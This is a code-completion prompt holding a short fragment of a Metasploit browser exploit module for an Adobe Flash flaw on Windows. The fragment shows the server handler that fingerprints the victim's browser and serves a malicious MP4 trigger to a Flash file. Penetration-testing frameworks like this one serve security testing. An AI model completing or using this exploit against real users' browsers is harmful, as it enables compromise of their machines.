You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: adobe_flash_sps.rb
    path of file: ./repos/metasploit-framework/modules/exploits/windows/browser
    
    the code of the file until where you have to start completion: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapi
    
  def on_request_uri(cli, request)
    agent = request.headers['User-Agent']
    my_target = get_target(agent)

    # Avoid the attack if the victim doesn't have the same setup we're targeting
    if my_target.nil?
      print_error("Browser not supported: #{agent.to_s}")
      send_not_found(cli)
      return
    end

    # The SWF requests our MP4 trigger
    if request.uri =~ /\.mp4$/
      print_status("Sending MP4")
      send_response(cli, @mp4, {'Content-Type'=>'video/mp4'})
      return
    end